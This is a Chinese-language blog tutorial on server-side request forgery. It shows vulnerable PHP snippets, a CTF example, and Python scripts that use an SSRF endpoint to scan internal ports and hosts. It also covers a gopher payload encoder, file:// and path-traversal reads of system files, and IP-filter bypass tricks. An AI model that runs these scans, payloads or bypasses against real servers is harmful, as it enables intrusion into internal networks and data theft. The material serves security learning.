SSRF漏洞

1.0.0 简介

SSRF漏洞,即(Server-Side Request Forgery,服务器端请求伪造)漏洞,一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。

1.1.0 利用

1.1.1 利用相关的危险函数

以PHP为例,在PHP中利用一些读取函数

1. file_get_contents() 与 readfile()

这两个函数读取文件内容并存储到变量中,当使用者没有对路径做出限制时,可以读取本地的关键文件造成信息泄露,例如

<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>

当我让 url=../../../../../../etc/password 时,就可以获取到文件内容

2. fsockopen()

这个函数主要是PHP用来链接外部服务器的,类似302重定向,用法

fsockopen($host, $port, $errno, $errstr, $timeout);

例如

<?php
$host = "www.baidu.com"; // 要访问的网站
$port = 80; // HTTPS 服务的默认端口
$timeout = 30; // 超时时间30秒

$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if (!$fp) {
    echo "连接失败:$errstr ($errno)";
} else {
    // 发送 HTTP 请求
    fwrite($fp, "GET / HTTP/1.1\r\nHost: $host\r\n\r\n");
    while (!feof($fp)) {
        echo fgets($fp, 1024); // 读取并输出服务器返回的内容
    }
    fclose($fp); // 关闭连接
}
?>

就像这样

3. curl_exec()

和上一个用法有类似之处,都是用来请求外部资源,但是该函数更加自由,支持POST,GET等协议,可以自定义请求头,请求体,就像Python的requests库一样。那么这里就用ctfshow的例题为例

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?> 

可以看到这里就使用了curl_exec函数,并且以POST的方式获取用户输入的url参数并将其作为目标地址,那么这个是很典型的SSRF漏洞了,我们访问 http://localhost/flag.php

很容易的到了flag

1.1.2 利用相关危险协议

file 协议结合目录遍历读取文件,gopher 协议打开端口,dict 协议主要用于结合 curl 攻击,http 协议进行内网探测。

1.file协议

用法

file://文件路径

我们可以用file://协议读取到本地文件,例如

<?php
$a = $_GET['url'];
$b = readfile($a, 'r');
echo $b;

通过

?url=file:///D:\\Temp\\123.txt

我们成功读取到本地文件

2.dict/http/https进行端口探测

Windows系统

SSRF 常配合 DICT 或http或https协议探测内网端口开放情况,但不是所有的端口都可以被探测,一般只能探测出一些带 TCP 回显的端口,dict://ip地址:端口

当web服务器A开放了某个端口时,服务器立即响应进行页面刷新,未开放了某个端口时,页面会等待响应超过1s,我们可以直接使用python的requests库来检测开放的端口

import requests
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"}
port=[21,22,23,80,81,88,110,135,443,445,1080,1433,1521,2181,3306,3389,4444,4445,6000,6666,6379,7001,7002,8000,8888,9001,9083,9200,11211,27017]
print("开放的端口为:")
for p in port:
	url = f"http://xxxx?url=dict://127.0.0.1:{p}" 
	try:
		re = requests.get(url,headers,timeout=1)
		print(p)
	except:
		pass
 
print('SSRF端口检测完毕')

创建一个示例文件

<?php
$a = $_GET['url'];
$b = readfile($a);
echo $b;
echo "这是一个测试dict协议的文件";
?>

检测得出

Linux系统

在Linux系统中,无论端口有没有开放,回显速度是相同的。使用dict也能探测,问题是不能直接使用127.0.0.1,没反应,需使用其局域网或公网ip地址。若服务器PHP没有开启DICT URL 模式,那么就会报错

当端口未开放时,页面没有任何反应,例如

当端口开放时会回显该端口相关信息

若是被关闭了回显信息那就没办法了

探测内网存活主机

当我们发现一个服务器的SSRF漏洞时,我们还可以通过读取/etc/hosts、/proc/net/arp、/proc/net/fib_trie等文件获取到该服务器的局域网网段,从而扫描出内网中存活的主机

import requests
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"}
print('内网存活主机:')
for i in range(120,255):
	ip = f"192.168.1.{i}"
	url = f"http://xxxx?url=http://{ip}"
	try:
		response = requests.get(url,headers,timeout=1.8)
		print(ip)
	except:
		pass
print('探测完毕')

如我的内网网段为 172.16.17.x 那么来扫描一下

分别是CTFd靶场,签到平台,Esxi和两个不知道干什么的nginx服务,还是非常准确的

3.Gopher协议

Gopher 协议是一种古老的网络协议,主要用于在互联网上提供菜单驱动的信息检索服务,它在 20 世纪 90 年代初曾经非常流行,但后来逐渐被 HTTP(超文本传输协议)所取代。gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议

编程语言 限制条件或版本要求
PHP 需 PHP 5.3 及以上,且开启 --enable-curlwrappers;默认 fopen 不支持 Gopher
Java JDK 1.7 及以上版本的 URL 类不再支持 Gopher 协议;仅旧版本支持
Curl 需 Curl 7.51.0 及以上版本
Perl 无特别版本限制,可通过内置或第三方模块实现
ASP.NET 版本小于 3 的 ASP.NET 支持 Gopher 协议;3 及以上版本不支持
Python 不直接支持,需第三方库(如 gopherlib);无版本限制
Golang 标准库中保留了对 Gopher 协议的支持;无版本限制
C/C++ 不直接支持,需自行实现 TCP/IP 层;无版本限制
Ruby 需第三方库(如 net/gopher);无版本限制
JavaScript (Node.js) 不直接支持,需第三方库(如 gopher);无版本限制

GET请求

1、问号(?)需要转码为URL编码,也就是%3f
2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
3、在HTTP包的最后要加%0d%0a,代表消息结束

直接使用Python脚本进行转换

import re
import urllib.parse

# 原始数据
data = '''GET /try.php?a=Wan&b=Zifeng HTTP/1.1
Host: 192.168.0.130:8201
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close'''

# 对数据进行 URL 编码
data = urllib.parse.quote(data)

# 使用正则表达式将 %0A 替换为 %0D%0A
strinfo = re.compile('%0A', re.I)
new = strinfo.sub('%0D%0A', data)

# 拼接成 gopher 协议格式
new = 'gopher://192.168.0.130:8201/_' + new + '%0D%0A'

# 再次进行 URL 编码
new = urllib.parse.quote(new)

# 将结果写入文件
with open('Result.txt', 'w') as f:
    f.write(new)

# 读取并打印文件内容
with open('Result.txt', 'r') as f:
    for line in f.readlines():
        print(line.strip())

然后我们直接将其拼接在url后即可,将其进行两次URL编码的原因是,在传出请求时就会经过一次URL解码,要保证该链接到达服务器端时的有效性,必须两次URL编码

POST请求

也是可以直接放入脚本编码后直接发送,但是由于POST传参时不会经过一次URL解码,除了application/x-www-form-urlencoded 格式的数据外,其他数据只需要经过一次URL编码即可

Gopher协议在SSRF漏洞中可以攻击Redis,MySQL,Frp,Fastcgi等等内网服务,暂时不做过深研究,后面单独写

1.2.0 绕过

1. @绕过

一个URL的完整格式为

[协议类型]://[访问资源需要的凭证信息]@[服务器地址]:[端口号]/[资源层级UNIX文件路径][文件名]?[查询]#[片段ID]

所以你访问http(s)://xxx.xxx.xxx@1.1.1.1和访问http(s)://1.1.1.1是一样的

2. 利用进制转换

一些时候开发者可能会利用正则表达式来过滤掉内网请求。例如

^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$

^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

那么我们只用把IP地址转换为十进制就可以成功绕过

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇